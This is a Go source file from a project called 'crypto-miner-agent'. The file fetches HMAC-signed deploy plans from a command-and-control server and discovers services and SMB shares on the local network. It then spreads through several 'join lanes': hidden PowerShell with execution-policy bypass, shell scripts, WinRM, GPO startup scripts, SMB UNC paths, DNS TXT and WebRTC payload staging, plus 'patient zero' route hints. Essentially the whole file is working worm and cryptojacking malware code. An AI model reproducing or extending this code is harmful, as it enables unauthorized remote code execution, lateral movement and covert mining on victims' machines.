Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
450 lines
15 KiB
Go
450 lines
15 KiB
Go
package deploy
|
|
|
|
import (
|
|
"crypto/hmac"
|
|
"crypto/sha256"
|
|
"encoding/hex"
|
|
"encoding/json"
|
|
"fmt"
|
|
"runtime"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// SpreadRouteHint is the server BGP-style spread route recommendation.
|
|
type SpreadRouteHint struct {
|
|
TargetSubnet string `json:"target_subnet"`
|
|
SeedAgentID string `json:"seed_agent_id"`
|
|
SeedAgentName string `json:"seed_agent_name,omitempty"`
|
|
EgressAgentID string `json:"egress_agent_id"`
|
|
EgressHopIndex int `json:"egress_hop_index,omitempty"`
|
|
SessionID string `json:"session_id,omitempty"`
|
|
JoinLane string `json:"join_lane,omitempty"`
|
|
Score float64 `json:"score,omitempty"`
|
|
ClearanceLevel int `json:"clearance_level,omitempty"`
|
|
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
|
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
|
RouteVia string `json:"route_via,omitempty"`
|
|
}
|
|
|
|
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
|
|
type WebRTCMeshPlanBody struct {
|
|
STUNServers []string `json:"stun_servers,omitempty"`
|
|
SignalingRelay string `json:"signaling_relay,omitempty"`
|
|
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
|
|
SeederAgentID string `json:"seeder_agent_id,omitempty"`
|
|
RotationHours int `json:"rotation_hours,omitempty"`
|
|
IsSeeder bool `json:"is_seeder,omitempty"`
|
|
}
|
|
|
|
// DeployPlanBody is the HMAC-signed payload from POST /api/v1/agent/deploy-plan.
|
|
type DeployPlanBody struct {
|
|
JoinLane string `json:"join_lane"`
|
|
MatchedService string `json:"matched_service,omitempty"`
|
|
Action string `json:"action"`
|
|
Manifest *StagingManifest `json:"manifest,omitempty"`
|
|
PeerGroup string `json:"peer_group,omitempty"`
|
|
CacheGroup string `json:"cache_group,omitempty"`
|
|
DNSTXTZone string `json:"dns_txt_zone,omitempty"`
|
|
DNSTXTRecords []string `json:"dns_txt_records,omitempty"`
|
|
DNSTXTShards []int `json:"dns_txt_shards,omitempty"`
|
|
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
|
|
WebRTCMesh *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"`
|
|
Script string `json:"script,omitempty"`
|
|
UNCPath string `json:"unc_path,omitempty"`
|
|
MaxHosts int `json:"max_hosts,omitempty"`
|
|
ImageTarURL string `json:"image_tar_url,omitempty"`
|
|
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
|
SpreadRouteHint *SpreadRouteHint `json:"spread_route_hint,omitempty"`
|
|
ErasurePlan *ErasurePlanBody `json:"erasure_plan,omitempty"`
|
|
}
|
|
|
|
// DeployPlanResponse is returned by the C2 deploy-plan endpoint.
|
|
type DeployPlanResponse struct {
|
|
OK bool `json:"ok"`
|
|
Error string `json:"error,omitempty"`
|
|
JoinLane string `json:"join_lane"`
|
|
MatchedService string `json:"matched_service,omitempty"`
|
|
Plan DeployPlanBody `json:"plan"`
|
|
Signature string `json:"signature"`
|
|
}
|
|
|
|
// VerifyDeployPlanSignature validates fleet-secret HMAC over the plan body.
|
|
func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret string) bool {
|
|
if fleetSecret == "" || signature == "" {
|
|
return false
|
|
}
|
|
payload, err := json.Marshal(plan)
|
|
if err != nil {
|
|
return false
|
|
}
|
|
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
|
mac.Write(payload)
|
|
expected := hex.EncodeToString(mac.Sum(nil))
|
|
return hmac.Equal([]byte(expected), []byte(signature))
|
|
}
|
|
|
|
// ExecuteDeployPlan runs the signed supply-chain join lane from the server.
|
|
func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, error) {
|
|
return ExecuteDeployPlanAs(cfg, plan, "")
|
|
}
|
|
|
|
// ExecuteDeployPlanAs runs a deploy plan honoring spread_route_hint for the executor agent.
|
|
func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executorAgentID string) (string, error) {
|
|
lane := strings.TrimSpace(plan.JoinLane)
|
|
if lane == "" {
|
|
lane = strings.TrimSpace(plan.Action)
|
|
}
|
|
if deferMsg, deferOK := routedEgressDeferral(plan, executorAgentID, lane); deferOK {
|
|
return deferMsg, nil
|
|
}
|
|
tryPrimary := func(run func() (string, error)) (string, error) {
|
|
msg, err := run()
|
|
if err == nil {
|
|
return msg, nil
|
|
}
|
|
if plan.ErasurePlan != nil && plan.ErasurePlan.Enabled && config.ErasureLanesEnabled(cfg) {
|
|
if config.FleetTorrentEnabled(cfg) {
|
|
c2 := c2BaseFromPlan(plan)
|
|
localIP, _ := PrimaryLocalIPv4()
|
|
if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP)); eErr == nil {
|
|
return em + " (primary lane failed: " + err.Error() + ")", nil
|
|
}
|
|
}
|
|
if em, eErr := RunErasureStaging(cfg, *plan.ErasurePlan); eErr == nil {
|
|
return em + " (primary lane failed: " + err.Error() + ")", nil
|
|
}
|
|
}
|
|
return "", err
|
|
}
|
|
|
|
switch lane {
|
|
case "do_peer":
|
|
if plan.Manifest == nil {
|
|
return "", fmt.Errorf("join lane do_peer requires staging manifest")
|
|
}
|
|
peer := strings.TrimSpace(plan.PeerGroup)
|
|
if peer == "" {
|
|
peer = strings.TrimSpace(plan.Manifest.PeerGroup)
|
|
}
|
|
return tryPrimary(func() (string, error) {
|
|
return RunDOPeerStaging(cfg, DOPeerFromStagingManifest(*plan.Manifest, peer))
|
|
})
|
|
case "wsus_cache_peer":
|
|
if plan.Manifest == nil {
|
|
return "", fmt.Errorf("join lane wsus_cache_peer requires staging manifest")
|
|
}
|
|
group := strings.TrimSpace(plan.CacheGroup)
|
|
if group == "" {
|
|
group = strings.TrimSpace(plan.Manifest.CacheGroup)
|
|
}
|
|
return tryPrimary(func() (string, error) {
|
|
return RunWSUSCachePeerStaging(cfg, WSUSCachePeerFromStagingManifest(*plan.Manifest, group))
|
|
})
|
|
case "dns_txt":
|
|
if plan.Manifest == nil {
|
|
return "", fmt.Errorf("join lane dns_txt requires staging manifest")
|
|
}
|
|
zone := strings.TrimSpace(plan.DNSTXTZone)
|
|
if zone == "" {
|
|
zone = strings.TrimSpace(plan.Manifest.DNSZone)
|
|
}
|
|
ttl := plan.TTLRefreshSec
|
|
if ttl == 0 {
|
|
ttl = plan.Manifest.TTLRefreshSec
|
|
}
|
|
return tryPrimary(func() (string, error) {
|
|
return RunDNSTXTStaging(cfg, DNSTXTFromStagingManifest(*plan.Manifest, zone, plan.DNSTXTRecords, plan.DNSTXTShards, ttl))
|
|
})
|
|
case "webrtc_mesh":
|
|
if plan.Manifest == nil {
|
|
return "", fmt.Errorf("join lane webrtc_mesh requires staging manifest")
|
|
}
|
|
policy := WebRTCMeshPolicy{RotationHours: DefaultWebRTCRotationHours}
|
|
if plan.WebRTCMesh != nil {
|
|
policy = WebRTCMeshPolicy{
|
|
STUNServers: plan.WebRTCMesh.STUNServers,
|
|
SignalingRelay: plan.WebRTCMesh.SignalingRelay,
|
|
LANFallbackURL: plan.WebRTCMesh.LANFallbackURL,
|
|
SeederAgentID: plan.WebRTCMesh.SeederAgentID,
|
|
RotationHours: plan.WebRTCMesh.RotationHours,
|
|
IsSeeder: plan.WebRTCMesh.IsSeeder,
|
|
}
|
|
}
|
|
if policy.RotationHours <= 0 {
|
|
policy.RotationHours = DefaultWebRTCRotationHours
|
|
}
|
|
execID := strings.TrimSpace(executorAgentID)
|
|
if execID != "" {
|
|
if plan.SpreadRouteHint != nil && strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID) == execID {
|
|
policy.IsSeeder = true
|
|
}
|
|
if plan.WebRTCMesh != nil && strings.TrimSpace(plan.WebRTCMesh.SeederAgentID) == execID {
|
|
policy.IsSeeder = true
|
|
}
|
|
}
|
|
if !policy.IsSeeder {
|
|
if seeder := PreferredLANSeeder(); seeder != nil {
|
|
ApplyLANSeederToWebRTC(&policy, seeder)
|
|
}
|
|
}
|
|
return tryPrimary(func() (string, error) {
|
|
return RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{
|
|
Policy: policy,
|
|
SHA256: plan.Manifest.SHA256,
|
|
Dest: plan.Manifest.Dest,
|
|
Launch: plan.Manifest.Launch,
|
|
DLLExport: plan.Manifest.DLLExport,
|
|
DeferMining: plan.Manifest.DeferMining,
|
|
SpreadInstall: plan.Manifest.SpreadInstall,
|
|
})
|
|
})
|
|
case "bits_curl", "docker_load":
|
|
if plan.Manifest == nil {
|
|
return "", fmt.Errorf("join lane %s requires staging manifest", lane)
|
|
}
|
|
return tryPrimary(func() (string, error) {
|
|
msg, err := RunStagingChain(cfg, *plan.Manifest)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
if lane == "docker_load" && plan.ImageTarURL != "" {
|
|
msg += "; docker_load image=" + plan.ImageTarURL
|
|
}
|
|
return msg, nil
|
|
})
|
|
case "winrm":
|
|
if err := runJoinScript(plan.Script, true); err != nil {
|
|
return "", err
|
|
}
|
|
return "winrm bootstrap script executed", nil
|
|
case "gpo":
|
|
if err := runJoinScript(plan.Script, true); err != nil {
|
|
return "", err
|
|
}
|
|
return "gpo startup script executed", nil
|
|
case "linux_lotl":
|
|
if err := runJoinScript(plan.Script, false); err != nil {
|
|
return "", err
|
|
}
|
|
return "linux lotl bootstrap executed", nil
|
|
case "spread_smb_unc":
|
|
unc := strings.TrimSpace(plan.UNCPath)
|
|
if unc == "" {
|
|
return "", fmt.Errorf("spread_smb_unc requires unc_path in plan")
|
|
}
|
|
max := plan.MaxHosts
|
|
if max <= 0 {
|
|
max = 64
|
|
}
|
|
msg := RunSMBUNCSpread(cfg, SMBUNCSpreadOpts{UNCPath: unc, MaxHosts: max})
|
|
return msg, nil
|
|
default:
|
|
return "", fmt.Errorf("unsupported join lane %q", lane)
|
|
}
|
|
}
|
|
|
|
func c2BaseFromPlan(plan DeployPlanBody) string {
|
|
if plan.ErasurePlan == nil || len(plan.ErasurePlan.Shards) == 0 {
|
|
return ""
|
|
}
|
|
for _, ref := range plan.ErasurePlan.Shards {
|
|
u := strings.TrimSpace(ref.URL)
|
|
if u == "" || !strings.HasPrefix(u, "http") {
|
|
continue
|
|
}
|
|
if idx := strings.Index(u, "/api/v1/public/erasure-shard/"); idx > 0 {
|
|
return strings.TrimRight(u[:idx], "/")
|
|
}
|
|
}
|
|
return ""
|
|
}
|
|
|
|
func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (string, bool) {
|
|
if plan.SpreadRouteHint == nil || strings.TrimSpace(executorAgentID) == "" {
|
|
return "", false
|
|
}
|
|
egress := strings.TrimSpace(plan.SpreadRouteHint.EgressAgentID)
|
|
if egress == "" || egress == executorAgentID {
|
|
return "", false
|
|
}
|
|
switch lane {
|
|
case "spread_smb_unc", "winrm", "gpo", "linux_lotl":
|
|
return fmt.Sprintf(
|
|
"spread_route_hint: egress=%s seed=%s subnet=%s (deferred ΓÇö routed egress, not patient zero)",
|
|
egress,
|
|
strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID),
|
|
strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet),
|
|
), true
|
|
default:
|
|
return "", false
|
|
}
|
|
}
|
|
|
|
func runJoinScript(script string, windows bool) error {
|
|
script = strings.TrimSpace(script)
|
|
if script == "" {
|
|
return fmt.Errorf("empty join script")
|
|
}
|
|
if windows || runtime.GOOS == "windows" {
|
|
return HiddenRun("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", script)
|
|
}
|
|
return HiddenRun("/bin/sh", "-c", script)
|
|
}
|
|
|
|
// ServicesForDeployPlan converts local service graph entries into deploy-plan findings.
|
|
func ServicesForDeployPlan(result ServiceDiscoverResult) []DeployServiceFinding {
|
|
var out []DeployServiceFinding
|
|
appendHost := func(host ServiceGraphHost) {
|
|
for _, svc := range host.Services {
|
|
name := strings.TrimSpace(svc.ServiceName)
|
|
if name == "" {
|
|
continue
|
|
}
|
|
out = append(out, DeployServiceFinding{
|
|
Name: name,
|
|
Status: serviceStatusForPlan(svc),
|
|
DisplayName: name,
|
|
})
|
|
}
|
|
}
|
|
appendHost(result.Local)
|
|
for _, h := range result.LANHosts {
|
|
appendHost(h)
|
|
}
|
|
return out
|
|
}
|
|
|
|
// DeployServiceFinding mirrors the server deploy-plan request service row.
|
|
type DeployServiceFinding struct {
|
|
Name string `json:"name"`
|
|
DisplayName string `json:"display_name,omitempty"`
|
|
Status string `json:"status"`
|
|
StartType string `json:"start_type,omitempty"`
|
|
}
|
|
|
|
// PickLocalJoinLane chooses the best local join lane candidate from discovery JSON.
|
|
func PickLocalJoinLane(discoveryJSON string) string {
|
|
result, err := ParseServiceDiscoverJSON(discoveryJSON)
|
|
if err != nil {
|
|
return ""
|
|
}
|
|
var best string
|
|
for _, svc := range result.Local.Services {
|
|
lane := strings.TrimSpace(svc.JoinLaneCandidate)
|
|
if lane == "" {
|
|
lane = JoinLaneForSignal(svc.ServiceName, svc.Port)
|
|
}
|
|
if lane != "" {
|
|
best = lane
|
|
}
|
|
}
|
|
return best
|
|
}
|
|
|
|
// RunDiscoverAndJoin performs service discovery, fetches a signed plan, and executes it.
|
|
// fetchPlan is injected for tests.
|
|
type DeployPlanFetcher func(services []DeployServiceFinding, uncPath string) (DeployPlanResponse, error)
|
|
|
|
func RunDiscoverAndJoin(cfg config.RuntimeConfig, maxLANHosts int, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
|
|
return RunDiscoverAndJoinAs(cfg, maxLANHosts, "", fetchPlan)
|
|
}
|
|
|
|
func RunDiscoverAndJoinAs(cfg config.RuntimeConfig, maxLANHosts int, executorAgentID string, fetchPlan DeployPlanFetcher) (joinLane string, detail string, err error) {
|
|
raw := RunServiceDiscoverForJoin(maxLANHosts)
|
|
result, parseErr := ParseServiceDiscoverJSON(raw)
|
|
if parseErr != nil {
|
|
return "", "", fmt.Errorf("parse discovery: %w", parseErr)
|
|
}
|
|
services := ServicesForDeployPlan(result)
|
|
if len(services) == 0 {
|
|
return "", "", fmt.Errorf("no services discovered")
|
|
}
|
|
|
|
uncPath := firstSMBShareUNC(result)
|
|
resp, err := fetchPlan(services, uncPath)
|
|
if err != nil {
|
|
return "", "", err
|
|
}
|
|
if !resp.OK && resp.Error != "" {
|
|
return "", "", fmt.Errorf("%s", resp.Error)
|
|
}
|
|
if resp.JoinLane == "" && resp.Plan.JoinLane == "" {
|
|
return "", "", fmt.Errorf("no allowlisted running services matched")
|
|
}
|
|
if !VerifyDeployPlanSignature(resp.Plan, resp.Signature, cfg.FleetSecret) {
|
|
return "", "", fmt.Errorf("deploy plan signature invalid")
|
|
}
|
|
joinLane = resp.JoinLane
|
|
if joinLane == "" {
|
|
joinLane = resp.Plan.JoinLane
|
|
}
|
|
if cfg.ScoutMode {
|
|
return joinLane, "scout: join lane mapped (no payload staging)", nil
|
|
}
|
|
msg, err := ExecuteDeployPlanAs(cfg, resp.Plan, executorAgentID)
|
|
if err != nil {
|
|
return joinLane, "", err
|
|
}
|
|
if resp.Plan.SpreadRouteHint != nil && strings.TrimSpace(resp.Plan.SpreadRouteHint.EgressAgentID) != "" {
|
|
msg = appendSpreadRouteTelemetry(msg, resp.Plan.SpreadRouteHint)
|
|
}
|
|
return joinLane, msg, nil
|
|
}
|
|
|
|
func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string {
|
|
if hint == nil {
|
|
return detail
|
|
}
|
|
routeNote := fmt.Sprintf("route_hint egress=%s seed=%s score=%.2f",
|
|
strings.TrimSpace(hint.EgressAgentID),
|
|
strings.TrimSpace(hint.SeedAgentID),
|
|
hint.Score,
|
|
)
|
|
if via := strings.TrimSpace(hint.RouteVia); via != "" {
|
|
routeNote += "; route_via=" + via
|
|
}
|
|
if detail == "" {
|
|
return routeNote
|
|
}
|
|
return detail + "; " + routeNote
|
|
}
|
|
|
|
// runServiceDiscoverFn allows tests to stub discovery output.
|
|
var runServiceDiscoverFn func(maxLANHosts int) string
|
|
|
|
func RunServiceDiscoverForJoin(maxLANHosts int) string {
|
|
if runServiceDiscoverFn != nil {
|
|
return runServiceDiscoverFn(maxLANHosts)
|
|
}
|
|
return RunServiceDiscover(maxLANHosts)
|
|
}
|
|
|
|
func firstSMBShareUNC(result ServiceDiscoverResult) string {
|
|
for _, h := range result.LANHosts {
|
|
for _, svc := range h.Services {
|
|
name := strings.ToLower(svc.ServiceName)
|
|
if strings.HasPrefix(name, "smb-share:") {
|
|
share := strings.TrimPrefix(svc.ServiceName, "smb-share:")
|
|
if share != "" && h.Host != "" {
|
|
return `\\` + h.Host + `\` + share
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return ""
|
|
}
|
|
|
|
func serviceStatusForPlan(svc ServiceGraphEntry) string {
|
|
if st := strings.TrimSpace(svc.Status); st != "" {
|
|
return st
|
|
}
|
|
switch svc.Source {
|
|
case "lan_port", "smb_share", "passive_hint":
|
|
return "running"
|
|
default:
|
|
return "running"
|
|
}
|
|
}
|